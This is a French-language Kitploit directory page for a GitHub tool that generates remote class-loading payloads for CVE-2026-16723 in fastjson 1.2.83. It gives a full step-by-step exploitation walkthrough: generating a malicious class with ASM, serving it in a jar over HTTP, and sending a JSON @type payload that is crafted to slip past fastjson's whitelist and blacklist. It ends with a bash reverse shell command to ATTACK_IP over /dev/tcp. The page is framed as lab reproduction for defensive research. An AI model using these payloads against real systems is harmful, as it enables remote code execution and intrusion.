Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
FastJson1.2.83-GenProbe2 — Boîte à outils de reproduction CVE-2026-16723 - jar fastjson 1.2.83 : générateur de charge utile de chargement de classe à distance (POC.class construit avec ASM avec @JSONType + exécution clinit) | Kitploit
Outils/GitHubGitHub/cuttlefish520/fastjson1.2.83-genprobe2
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebRed TeamingOutil d'Accès à Distance
GitHubcuttlefish520/fastjson1.2.83-genprobe2

FastJson1.2.83-GenProbe2

Boîte à outils de reproduction CVE-2026-16723 - jar fastjson 1.2.83 : générateur de charge utile de chargement de classe à distance (POC.class construit avec ASM avec @JSONType + exécution clinit)

Voir le dépôt
il y a 1 moisPas encore vérifié
Partager

FastJson 1.2.83 GenProbe2

Usage : reproduction de la vulnérabilité CVE-2026-16723. Ce dépôt est le générateur de classes malveillantes (générateur de payload) pour la chaîne de chargement de classes distantes jar: de fastjson 1.2.83 — il utilise ASM pour générer à l'exécution une classe portant l'annotation @JSONType, dont le <clinit> exécute une commande arbitraire, et, combiné au laboratoire CVE-2026-16723 (Spring Boot + fastjson 1.2.83), permet de reproduire intégralement le processus, de l'« envoi du payload » à l'« exécution de la commande ». Destiné uniquement à la validation de vulnérabilités et à la recherche défensive dans un environnement autorisé.

À quoi sert ce fichier

GenProbe2.java n'est pas l'exploit lui-même, mais la première étape de la génération du payload : il produit POC.class, que vous empaquetez dans un fichier jar sans extension déposé sur un serveur HTTP ; vous faites ensuite désérialiser par le fastjson cible un nom de classe pointant vers ce jar, et la JVM cible télécharge et charge POC à distance via le protocole jar:, déclenchant le bloc statique.

La classe générée comporte trois choix de conception délibérés, chacun répondant au contournement d'un obstacle réel :

Caractéristique du généréRôle
Annotation de classe @com.alibaba.fastjson.annotation.JSONType(orders = {"x"})Fait en sorte que, lors de la phase de scan des annotations, fastjson considère cette classe comme hasJsonType, contournant la vérification de la liste blanche AutoType (1.2.83 désactive autoType par défaut ; les classes portant @JSONType empruntent une autre branche d'autorisation)
Runtime.getRuntime().exec(new String[]{"bash","-c",CMD}) dans static {} (<clinit>)Exécution dès le chargement de la classe. L'appel à exec sous forme de String[] équivaut à bash -c CMD, donc tout syntaxe bash dans CMD (pipes, redirections, $(), reverse shell, etc.) fonctionne (sans la limitation de découpage de exec(String))
Nom de classe interne = jar:http://IP:PORT/<jarName>!/<entryName> (URL contenant : / !)À chaque changement de jarName/entryName (par ex. probe2/POC2), le nom de classe interne devient une chaîne entièrement nouvelle, contournant le cache de classes de même nom de la JVM — le service cible peut être attaqué de façon répétée avec des commandes différentes sans redémarrage

ASM ne vérifie pas la validité du nom de classe passé à visit ; ClassWriter.COMPUTE_FRAMES se charge du calcul des frames, et la table d'exceptions englobe tout le bloc d'exécution de commande (catch (Exception) {}), garantissant qu'un échec de exec ne provoque pas d'erreur révélatrice chez le chargeur.

Processus complet de reproduction de la vulnérabilité (CVE-2026-16723)

0. Rôles et prérequis

RôleEspace réservéDescription
Machine d'attaqueATTACK_IP / décimal ATTACK_IP_DECHéberge le jar malveillant, envoie le payload
Machine cibleTARGET:8080Spring Boot + fastjson 1.2.83
Jar du labfastjson-cve202616723-0.0.1-SNAPSHOT.jarDoit être la version corrigée (ParserConfig.getGlobalInstance().setDefaultClassLoader(...))

ATTACK_IP_DEC est l'entier décimal de l'IP de la machine d'attaque (192.168.1.1 → 3232235777) ; l'usage du décimal permet d'éviter la liste noire des littéraux IP.

1. Écrire la commande à exécuter

Créez cmd.txt dans le répertoire de travail du générateur ; la première ligne est la commande à exécuter (le générateur l'exécute via bash -c, prenant en charge |, >, $(), le reverse shell). Commencez par une vérification minimale :

touch /tmp/CUSTOM_RCE_$(whoami)

Les lignes commençant par # sont ignorées ; en l'absence de cmd.txt, la commande par défaut est touch /tmp/PWNED_CVE-2026-16723.

2. Générer une classe malveillante (nécessite asm)

# 用法: java GenProbe2 <IP十进制> <端口> <输出目录> [jar名] [类名]
java -cp ".;lib\asm-9.6.jar" GenProbe2 ATTACK_IP_DEC 8888 out probe POC

Produit out\POC.class, nom de classe interne = jar:http://ATTACK_IP:8888/probe!/POC, la console affichera « la commande va être exécutée ».

3. Empaqueter en un jar sans extension et le placer dans le répertoire racine HTTP

cd out
jar cvf ..\probe POC.class

Trois exigences strictes :

  • Le nom du fichier distant ne doit pas avoir d'extension : il doit s'appeler probe, et non probe.jar ;
  • Il doit s'agir d'un seul fichier, et non d'un dossier du même nom (un dossier provoquerait une redirection 301 vers du HTML, entraînant un échec d'analyse) ;
  • Le nom de l'entrée dans le jar (POC.class) doit correspondre au entryName utilisé lors de la génération.

4. Démarrer le service HTTP et effectuer l'auto-vérification

python -m http.server 8888      # 根目录 = 存放 probe 的目录,保持运行
curl.exe -s -o NUL -w "%{http_code} %{size_download}\n" http://localhost:8888/probe   # 本机
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://ATTACK_IP:8888/probe # 靶机侧

Les deux côtés doivent afficher 200 et le nombre d'octets correct avant de continuer.

5. Démarrer le terrain d'entraînement (machine cible, au premier plan)

java -jar fastjson-cve202616723-0.0.1-SNAPSHOT.jar
# 看到 Tomcat started on port(s): 8080 后保持窗口不动

6. Envoi du payload

Le plus gros piège : PowerShell mange les guillemets doubles du JSON, un -d '{"@type":...}' direct devient {@type:...}, la cible répond illegal identifier : @pos 1, on n'atteint jamais l'étape de téléchargement du jar (aucune requête visible dans la fenêtre HTTP).

Bonne méthode : stocker le payload dans un fichier et utiliser --data-binary "@fichier". payload.json :

{"@type":"jar:http:..ATTACK_IP_DEC:8888.probe!.POC","x":1}

Remarquez ici la syntaxe : le point remplace la barre oblique et .class — jar:http:..IP:PORT.jar名!.类名 est un JSON valide, utilisé pour contourner la liste noire ; fastjson restaure le chemin de ressource jar:http://IP:PORT/probe!/POC.class puis effectue le téléchargement via ClassLoader.getResourceAsStream().

curl.exe -s -X POST http://TARGET:8080/api/products/search `
  -H "Content-Type: application/json" `
  --data-binary "@payload.json"

Retourne parse ok = fastjson a analysé avec succès (cela ne signifie pas que la commande a été exécutée avec succès, voir étape 7).

7. Vérification (machine cible)

ls -la /tmp/ | grep CUSTOM_RCE     # 期望 /tmp/CUSTOM_RCE_<user>

Le fenêtre HTTP de la machine d'attaque affiche simultanément GET /probe (généralement 2 fois : une fois pour le scan des annotations, une fois pour le chargement réel). Les commandes sans écho ne peuvent prouver leur exécution que par « fichier déposé / rappel sortant / reverse shell ».

8. Changer de commande / changer de port / exploitation multiple

La JVM ne charge une classe du même nom qu'une seule fois, <clinit> ne s'exécute qu'une seule fois ; une nouvelle requête portant le même nom touche le cache. Deux méthodes :

  • A (sans redémarrer l'environnement de test) : modifier cmd.txt, régénérer avec un nouveau nom de jar + nom de classe (par exemple p2/POC2), empaqueter, placer, puis modifier le payload en {"@type":"jar:http:..ATTACK_IP_DEC:8888.p2!.POC2","x":1} ;
  • B : redémarrer l'environnement de test, le cache de classes est vidé, le probe d'origine peut être déclenché à nouveau.

Lors d'un changement de port (8888↔8889), modifier les trois endroits en même temps : le paramètre de port lors de la génération de la classe, le port dans le payload, et le port réel du service HTTP.

9. Reverse shell (avancé)

Première ligne de cmd.txt :

bash -i >& /dev/tcp/ATTACK_IP/9999 0>&1
Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Pas encore de données de popularité.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →